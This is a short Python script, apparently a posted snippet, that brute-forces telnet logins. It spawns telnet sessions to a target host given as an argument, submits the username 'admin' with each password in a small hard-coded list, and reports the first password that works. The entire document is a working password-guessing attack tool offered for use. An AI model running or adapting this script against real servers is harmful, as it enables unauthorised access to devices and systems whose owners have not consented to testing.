Simple password bruter for telnet servers

telnet_pass_bruter.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pexpect
from sys import argv

PROMPT=">$"
login = 'admin'
passwords = ['foo', 'bar', 'arr', 'agg', 'secret', 'fooo0']

for password in passwords:
    exp=pexpect.spawn('telnet %s' % argv[1])
    i = exp.expect('Username:')
    exp.sendline(login)
    exp.expect('Password:')
    exp.sendline(password)
    res = exp.expect([PROMPT, "Error User\\'s Name or Password\!"])
    print "Trying [" + password + "]"
    if res == 1:
        print "worng pass"
    else:
        print "good pass: " + password
        exit(0)